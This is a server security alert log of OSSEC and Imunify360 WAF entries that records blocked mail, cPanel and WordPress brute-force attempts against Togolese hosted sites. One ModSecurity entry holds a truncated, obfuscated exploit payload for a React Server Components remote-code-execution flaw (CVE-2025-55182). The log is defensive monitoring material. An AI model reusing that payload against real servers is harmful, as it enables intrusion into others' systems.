Jun 13 07:48:02 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:47:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:35522: 535 Incorrect authentication data (set_id=spamtrap@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:48:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:48:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:23710: 535 Incorrect authentication data (set_id=jennie@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:48:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:20490: 535 Incorrect authentication data (set_id=frankie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 13 07:48:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun 13 07:48:50 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:48:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11556: 535 Incorrect authentication data (set_id=adadmin@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.20
country_id: 6252001
description:
205.169.39.20 - - [13/Jun/2026:07:48:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13068134&pdata=http%253A%252F%252Fcloud-et-racks.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336905 HTTP/1.1" 302 0 cloud-et-racks.tg "http://cloud-et-racks.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 07:48:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:48:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 13 07:48:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.48.151.58
country_id: 1819730
description:
Jun 13 07:48:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.48.151.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:48:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:48:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:8644: 535 Incorrect authentication data (set_id=idefix@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.149.93
country_id: 99237
description:
Jun 13 07:48:39 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.149.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.34
country_id: 1835841
description:
Jun 13 07:49:05 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 13.204.75.102
country_id: 1269750
domain: sotranetogo.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:sotragonet||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:49:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:49:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:18690: 535 Incorrect authentication data (set_id=perl@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:49:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:49:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:49:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:49020: 535 Incorrect authentication data (set_id=testing2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:49:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:15468: 535 Incorrect authentication data (set_id=mandatory@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:50:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:58954: 535 Incorrect authentication data (set_id=gaspar@ns5.netmaster.tg)


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: sophie-immobilier.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"reason\":-1,\"status\":\"resolved_model\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"ns_5b395949\":0,\"__f05af490\":\"fb2137562407366f\",\"ns_8a5ef6fd\":\"\",\"_response\":{\"_prefix\":\"var nt=arguments['\\\\x31'];var srag=nt;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:51:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:44718: 535 Incorrect authentication data (set_id=hashed@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:50:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:50:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:50:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:50:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:9612: 535 Incorrect authentication data (set_id=amministrazione@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:50:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:7122: 535 Incorrect authentication data (set_id=neighbor@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 35.87.251.7
country_id: 6252001
description:
35.87.251.7 - - [13/Jun/2026:07:51:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6657385&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252F341167fea77beadc2c68115c2bca1713%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781337078 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/341167fea77beadc2c68115c2bca1713/index.php?cmd=login" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.102 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:35.87.251.7


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:51:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.afrikimpact-media.tg.lct-togo.tg
description:


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 130.49.77.35
country_id: 3017382
domain: www.togosem.com
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi1994.www.togosem.com||Method:wp.getUsersBlogs


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:51:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:51:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:63138: 535 Incorrect authentication data (set_id=tek@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:51:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40164: 535 Incorrect authentication data (set_id=lima@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:51:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:51:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:32638: 535 Incorrect authentication data (set_id=web0@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:52:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 130.49.77.35
country_id: 3017382
domain: www.togosem.com
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:sky.www.togosem.com||Method:blogger.getUsersBlogs


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:52:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:52:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:55742: 535 Incorrect authentication data (set_id=cgp@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:52:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:52:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:54598: 535 Incorrect authentication data (set_id=custom@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:52:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:30942: 535 Incorrect authentication data (set_id=pride@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:53:41 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:53:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:53:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:47318: 535 Incorrect authentication data (set_id=pic\'s@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:53:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:34042: 535 Incorrect authentication data (set_id=pic\'s@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:53:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:46132: 535 Incorrect authentication data (set_id=is@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:53:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:53:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:46512: 535 Incorrect authentication data (set_id=agora@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:54:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:54:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:37632: 535 Incorrect authentication data (set_id=orid@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:54:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:54:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:37288: 535 Incorrect authentication data (set_id=twitch@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:54:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11870: 535 Incorrect authentication data (set_id=tag@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:54:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:55:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:55:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:33314: 535 Incorrect authentication data (set_id=apc@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:55:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:55:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:3614: 535 Incorrect authentication data (set_id=toni@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:55:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:29062: 535 Incorrect authentication data (set_id=apc@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:55:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.8.227
country_id: 3469034
description:
Jun 13 07:55:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.8.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:55:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:28294: 535 Incorrect authentication data (set_id=louise@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.160.107
country_id: 99237
description:
Jun 13 07:57:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.160.107 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.97.4.215
country_id: 3686110
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/grand-lome-un-guichet-consulaire-pour-les-operateurs-economiques/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.160.107
country_id: 99237
description:
2026-06-13 07:57:34 dovecot_plain authenticator failed for H=(bratious) [65.20.160.107]:41644: 535 Incorrect authentication data (set_id=admin@zephyr.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.97.4.215
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/grand-lome-un-guichet-consulaire-pour-les-operateurs-economiques/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77317977
name: IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)
abuser: 196.168.151.158
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)||RSV:8.15||T:APACHE||User:ecukpqcm||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.72.230.226
country_id: 3469034
description:
[2026-06-13 07:59:44 +0000] info [cpaneld] 177.72.230.226 - sahamtg "GET /login/?login_only=1&user=sahamtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.242.158.129
country_id: 3996063
description:
[2026-06-13 07:59:48 +0000] info [cpaneld] 189.242.158.129 - sahamtgcom "GET /login/?login_only=1&user=sahamtgcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sahamtgcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.176.69.192
country_id: 3469034
description:
[2026-06-13 07:59:52 +0000] info [cpaneld] 45.176.69.192 - sahamt "GET /login/?login_only=1&user=sahamt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sahamt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.172.169.237
country_id: 2017370
description:
[2026-06-13 08:00:51 +0000] info [cpaneld] 85.172.169.237 - conseilnsa "GET /login/?login_only=1&user=conseilnsa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseilnsa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.60.74.131
country_id: 3895114
description:
[2026-06-13 08:00:54 +0000] info [cpaneld] 179.60.74.131 - conseilns "GET /login/?login_only=1&user=conseilns&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseilns (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.202.246.132
country_id: 6252001
description:
[2026-06-13 08:01:00 +0000] info [cpaneld] 104.202.246.132 - conseil "GET /login/?login_only=1&user=conseil&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseil (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.77.0.114
country_id: 2542007
description:
[2026-06-13 08:00:49 +0000] info [cpaneld] 196.77.0.114 - conseilnsaf "GET /login/?login_only=1&user=conseilnsaf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseilnsaf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 125.25.82.246
country_id: 1605651
description:
[2026-06-13 08:01:16 +0000] info [cpaneld] 125.25.82.246 - con "GET /login/?login_only=1&user=con&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user con (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.183.17.214
country_id: 2017370
description:
[2026-06-13 08:00:26 +0000] info [cpaneld] 62.183.17.214 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.206.47.113
country_id: 2542007
description:
2026-06-13 08:01:58 dovecot_plain authenticator failed for H=adsl196-113-47-206-196.adsl196-2.iam.net.ma (0dqdai7aguza7ph8c1vlz) [196.206.47.113]:47807: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 183.81.33.61
country_id: 1562822
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:08-03.183.81.33.61||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.254.80.212
country_id: 2215636
description:
[2026-06-13 08:03:53 +0000] info [cpaneld] 41.254.80.212 - togodailynewstg "GET /login/?login_only=1&user=togodailynewstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togodailynewstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.41.130.7
country_id: 1522867
description:
[2026-06-13 08:03:59 +0000] info [cpaneld] 193.41.130.7 - togodailynew "GET /login/?login_only=1&user=togodailynew&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togodailynew (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.188.222.113
country_id: 3996063
description:
[2026-06-13 08:03:50 +0000] info [cpaneld] 187.188.222.113 - togodailynews "GET /login/?login_only=1&user=togodailynews&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togodailynews (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.158.58.29
country_id: 1512440
description:
[2026-06-13 08:04:07 +0000] info [cpaneld] 94.158.58.29 - togodailyn "GET /login/?login_only=1&user=togodailyn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togodailyn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.119.49.11
country_id: 1282988
description:
[2026-06-13 08:04:15 +0000] info [cpaneld] 111.119.49.11 - togodai "GET /login/?login_only=1&user=togodai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togodai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.14.11.99
country_id: 6251999
description:
[2026-06-13 08:04:26 +0000] info [cpaneld] 74.14.11.99 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.155.253.49
country_id: 3469034
description:
Jun 13 08:04:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.155.253.49 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.14.59.27
country_id: 3625428
description:
[2026-06-13 08:07:42 +0000] info [cpaneld] 186.14.59.27 - fastsolutiontg "GET /login/?login_only=1&user=fastsolutiontg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolutiontg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.137.177.204
country_id: 3625428
description:
[2026-06-13 08:07:51 +0000] info [cpaneld] 38.137.177.204 - fastsolut "GET /login/?login_only=1&user=fastsolut&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolut (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.199.58.208
country_id: 3658394
description:
[2026-06-13 08:07:58 +0000] info [cpaneld] 181.199.58.208 - fastsol "GET /login/?login_only=1&user=fastsol&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsol (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.228.205.241
country_id: 2017370
description:
[2026-06-13 08:08:06 +0000] info [cpaneld] 94.228.205.241 - fast "GET /login/?login_only=1&user=fast&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fast (has_cpuser_file failed)


